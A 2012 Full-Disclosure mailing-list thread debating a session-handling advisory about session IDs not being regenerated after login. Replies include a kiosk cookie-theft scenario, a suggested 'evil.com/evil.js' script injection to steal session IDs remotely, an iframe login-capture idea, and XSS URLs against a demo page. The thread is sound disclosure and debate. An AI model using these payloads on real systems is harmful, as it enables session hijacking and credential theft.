For evil.js you can not open another web site according to policy. Gökhan Muharremoğlu
On 13 Tem 2012, at 14:57, "Gage Bystrom" <[email protected]> wrote: > Exactly, a niche scenario. I never said it /wasn't/ a vulnerability, > only that it doesn't warrant the severity you claim. > > Also again, a situation where there are better things for an attack to do. > > Yes you could do that to grab the session id, or whats stopping you > from writing "javascript;document.write('<script > type="text/javascript" src="www.evil.com/evil.js"></script>)? > Presumably evil.js doing all sorts of nasty such as grabbing the > session id and storing it remotely. Yes I'm aware you claimed policies > are in place, but I'm curious if that approach was tried. > > Or better yet, why not just load an iframe of the site's app itself? > Theres all sorts of known nasties you can do with iframes, why not > intercept all the the requests to the iframe(wiping out the main page > with more js so things are transparent) and then store the stolen > values of logins to a cookie? Screw the session id, you can get full > logins that way. All you would need to do is swing by and do your > "javascript;alert(document.cookie);" to fetch the results. > > Also I'm no expert in javascript or heck even in web applications. > That was just my first idea from a very basic knowledge, therefore we > can assume that any remotely dedicated attacker can probably come up > with an even cleaner solution, but the point still stands: > > If you are worried about this vulnerability, you have bigger issues, > ergo why are you even worried? > > To me it'd be a lot like worrying if you are salting your passwords > stored in a database properly when you are only xoring them. Yeah sure > good salts are important to consider in isolation, but in that case > you have bigger fish to fry. In this situation the bigger fish to fry > is 'the attacker can run arbitrary js on the victim's side'. > > As to the xss, that just illustrates my smaller point that your PoC is > extremely vague. I only figured it out while I was typing my original > email, and that was going off my own testing and ignoring your > instructions which were only misleading me. Judging by some of the > other responses here, I'd be hesitant to say I was the only one. Might > wanna think about whats the common denominator here. > > On Fri, Jul 13, 2012 at 4:23 AM, Gokhan Muharremoglu > <[email protected]> wrote: >> Ok. It seems i have to explain this vulnerability's effects with another >> scenario. >> >> This is a real life scenario and i wrote it in a Turkish article for >> National Information Security Portal which is run by TUBITAK. >> >> Article in Turkish with scenario => >> http://www.iosec.org/oturum_oncesi_tanimli_cerez.pdf >> >> I will explain it in English now. >> >> There are KIOSK/Terminal machines at bank branches in Turkey. Customers can >> reach to the regular Internet banking applicaton from here. >> But these machines are restricted with policies and you can not view any >> other web site or close browser page. But you can type in to the address >> bar. >> All you can do is to enter bank's internet web application. >> >> Here is the scenario (taken from real life): >> >> 1. Type "javascript:alert(document.cookie)" to the address bar and copy all >> information including Session ID. >> 2. Wait for a victim who logs in to the KIOSK. >> 3. After he/she logins, use your copied Session ID to login as him/her. >> >> In this scenario; >> There was no same-origin restrction, >> There was no httpOnly cookie tag. >> >> Always remember "A chain is only as strong as its weakest link". This is a >> vulnerability, it's attacker's and conditions' decision how to use it. >> >> You can use wider vision to consider about real life scenarios. >> >> Gokhan Muharremoglu >> >> -----Original Message----- >> From: Gage Bystrom [mailto:[email protected]] >> Sent: Friday, July 13, 2012 1:40 PM >> To: Gokhan Muharremoglu; [email protected] >> Subject: Re: [Full-disclosure] Predefined Post Authentication Session ID >> Vulnerability >> >> Ok after playing around and re-reading the advisory I was finally able to >> get the PoC to work. While it is interesting once your actually see it work >> I simply do not believe it warrants the severity you have described. The man >> reason why I say this is because any attacker in a position to modify a >> victim's session id is simply in a position to do better things. Why go >> through the niche roundabout way when you can just simply jack the >> authenticated session ID? >> >> The only conceivable scenario I can think of would be in the case of a >> stored XSS that isn't present after authentication, in which case stealing >> the session ID before hand would be a much better avenue and more in line >> with what you are trying to warn about(maybe you should make the PoC reflect >> that to better illustrate your point). Even then we are talking about a >> really niche attack. >> >> Basically this sounds like a classic example of: "Yes, technically this is >> abusable, but if you are worried about this, you have bigger problems to >> deal with." >> >> Speaking of xss your vuln page has one: >> >> http://www.iosec.org/iosec_login_vulnerable.php?user=%3Cscript%3Ealert%28%22 >> Told%20ya%20so%22%29%3C/script%3E&failed=1 >> >> not to mention an arbitrary(even non-existent users) account change: >> >> http://www.iosec.org/iosec_login_vulnerable.php?user=admin >> ((after logging in, not that the result page is much)) >> >> Yeah, yeah I know it's meant to be vulnerable to begin with, but you should >> really make sure a PoC vulnerable page is only vulnerable to what you are >> trying to demonstrate, otherwise it can be hard to identify if this is a >> serious issue or just an example of your personal screw ups, generally >> speaking at least. >> >> On Fri, Jul 13, 2012 at 1:46 AM, Gokhan Muharremoglu >> <[email protected]> wrote: >>> You can find an example page and combined vulnerabilities below URL. >>> This example login page is affected by Predefined Post Authentication >>> Session ID Vulnerability. >>> This vulnerability can lead a social engineering scenario or other >>> hijacking attack scenarios when mixed with other vulnerabilities (such >> XSS). >>> >>> For proof of concept: >>> >>> http://www.iosec.org/iosec_login_vulnerable.php >>> >>> >>> Predefined Post Authentication Session ID Vulnerability is a >>> Vendor-neutral vulnerability and it let attackers to design new attack >> scenarios. >>> A lot of web application on the Internet affected by this vulnerability. >>> >>> ----------------------- >>> Vulnerability Name: Predefined Post Authentication Session ID >>> Vulnerability >>> Type: Improper Session Handling >>> Impact: Session Hijacking >>> Level: Medium >>> Date: 10.07.2012 >>> Vendor: Vendor-neutral >>> Issuer: Gokhan Muharremoglu >>> E-mail: [email protected] >>> >>> >>> VULNERABILITY >>> If a web application starts a session and defines a session id before >>> a user authenticated, this session id must be changed after a >>> successful authentication. If web application uses the same session id >>> before and after authentication, any legitimate user who has gained >>> the "before authentication" session id can hijack future "after >>> authentication" sessions too. >>> >>> MITIGATION >>> To avoid this vulnerability, sessions must be regenerated after a >>> successful login. In a session fixation attack, attacker fixates >>> (sets) another person's (victim's) session identifier because of >>> "never regenerated and validated" session id and this vulnerability >>> can also lead to the Session Fixation attack or etc. >>> >>> Gokhan Muharremoglu >>> Information Security Specialist >>> (CEH, ECSA, CIW-Web Security Professional, Security+, EXIN 27002 ISFS) >>> >>> -----Original Message----- >>> From: Jann Horn [mailto:[email protected]] >>> Sent: Friday, July 13, 2012 2:06 AM >>> To: Gokhan Muharremoglu >>> Cc: [email protected] >>> Subject: Re: [Full-disclosure] Predefined Post Authentication Session >>> ID Vulnerability >>> >>> On Wed, Jul 11, 2012 at 11:34:11AM +0300, Gokhan Muharremoglu wrote: >>>> Vulnerability Name: Predefined Post Authentication Session ID >>>> Vulnerability >>>> Type: Improper Session Handling >>>> Impact: Session Hijacking >>>> Level: Medium >>>> Date: 10.07.2012 >>>> Vendor: Vendor-neutral >>>> Issuer: Gokhan Muharremoglu >>>> E-mail: [email protected] >>>> >>>> >>>> VULNERABILITY >>>> If a web application starts a session and defines a session id before >>>> a user authenticated, this session id must be changed after a >>>> successful authentication. If web application uses the same session >>>> id before and after authentication, any legitimate user who has >>>> gained the "before authentication" session id can hijack future >>>> "after authentication" sessions too. >>> >>> Uh, so, erm, you assume that someone can steal my cookie/set >>> it/whatever although the Same Origin Policy should clearly not allow >>> that, and then, after I have logged in, he can't just steal my cookie? >>> Unless you allow setting the session-ID via an URL or so (which would >>> IMO be pretty stupid), I can't see how this is a realistic, >>> vendor-neutral attack. Could you explain this a bit better? I don't get >> it. >>> >>> _______________________________________________ >>> Full-Disclosure - We believe in it. >>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html >>> Hosted and sponsored by Secunia - http://secunia.com/ >> _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
